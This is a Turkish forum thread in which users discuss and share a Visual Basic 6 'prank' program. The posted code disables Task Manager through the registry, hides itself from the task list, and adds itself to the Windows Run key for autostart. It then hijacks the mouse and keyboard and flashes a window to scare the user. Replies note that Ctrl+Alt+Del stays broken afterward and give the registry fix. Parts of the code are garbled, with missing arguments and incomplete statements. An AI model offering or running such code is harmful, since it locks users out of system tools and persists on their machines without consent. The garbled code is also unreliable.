bu kodları nasıl kullanacaz yav anamadım

süper bi olay süper kodlar

lanet olsun ctrl alt del gitti nasıl düzelir bu?

Bu kodu nasıl kullancanz?

Regedit i Açıp Sırasıyla Aşağıdaki Yolu Bul... HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\ Ordan DisableTaskMgr Anahtarını Sil. Geri Gelir... İyi Çalışmalar...

Form Üzerine 4 Timer Atacaksın... Sonra Kodları Komple Kopyalayıp, General Declerations dan İtibaren Yapıştıracaksın... Okadar... Başka Bişeye Gerek Yok... İyi Çalışmalar...

Kullanalar Dikkat Etsin yanlışlıkla Ctrl+Alt+Del Kapatırsanız Nasıl Eski Haline Getireceğinizi Bilmiyosanız Anlatırım... O yüzden problem Olmasın... İyi Çalışmalar... Kod Grubu İçin Çalışma Yapacak Arkadaşlar Olursa P. M Atabilirler...

Kod: 'Form Kontroller '4 Adet Timer -> Adıları Aynı Kalsın -> Option Explicit Private Declare Function MapVirtualKey Lib "user32" Alias "MapVirtualKeyA" As Long Private Declare Sub keybd_event Lib "user32" Private Const KEYEVENTF_KEYUP = &H2 ' Private Declare Function GetCursorPos Lib "user32" As Long Private Declare Function SetCursorPos Lib "user32" As Long Private Type POINTAPI x As Long y As Long End Type Dim resx, resy, cur As POINTAPI 'değişkenleri tanımladık Private Sub Form_Load '-- Ctrl+Alt+Del Çalışmasın İsterseniz Kullanın Dim RegVeYol, Yol, Sys, Ben, str, App Set RegVeYol = CreateObject RegVeYol. RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1" ' Me. Hide ' Gizlen App. TaskVisible = False 'GÖREV YÖNETİCİSİNİN UYGULAMALAR KISMINDA GÖRÜNMEZ YAPAR 'WİNDOWSLA OTOMATİK BAŞLAMAK İÇİN KENDİNİ Register'a YAZAR. Dim KayitDefteri As Object Set KayitDefteri = CreateObject KayitDefteri. RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App. EXEName, App. Path & "\" & App. EXEName & ". exe" ' Timer1. Interval = 500 Timer2. Interval = 10000 Timer3. Interval = 10 Timer4. Interval = 30000 ' resx = Screen. Width / Screen. TwipsPerPixelX 'resx ekranın soldan sağa doğru pixel sayısını verir resy = Screen. Height / Screen. TwipsPerPixelY 'resy de yukarıdan aşağı doğru olanları End Sub Private Sub Timer1_Timer GetCursorPos cur 'cur değişkenine mouse'un şu andaki pozisyonunu koyalım If cur. x > resx - 500 Then SetCursorPos 500, cur. y 'eğer mouse ekranın en sağında ise sola geçirir If cur. y > resy - 500 Then SetCursorPos cur. x, 500 'eğer mouse ekranın en altında ise yukarı geçirir If cur. x < 500 Then SetCursorPos resx - 500, cur. y 'eğer mouse ekranın en solunda ise sağa geçirir If cur. y < 500 Then SetCursorPos cur. x, resy - 500 'eğer mouse ekranın en üstünde ise aşağı geçirir ' Const MENU_KEYCODE = 91 'Başlatı Açalım keybd_event MENU_KEYCODE, 0, 0, 0 DoEvents 'Başlatı Kapatalım keybd_event MENU_KEYCODE, 0, KEYEVENTF_KEYUP, 0 DoEvents End Sub Private Sub Timer2_Timer On Error Resume Next Me. Show 1 Me. WindowState = 2 End Sub Private Sub Timer3_Timer Me. Visible = Not End Sub Private Sub Timer4_Timer End Unload Me ' 30 saniyelik Korku Yeter... Maksat Biraz Dalga Geçmek Olsun... End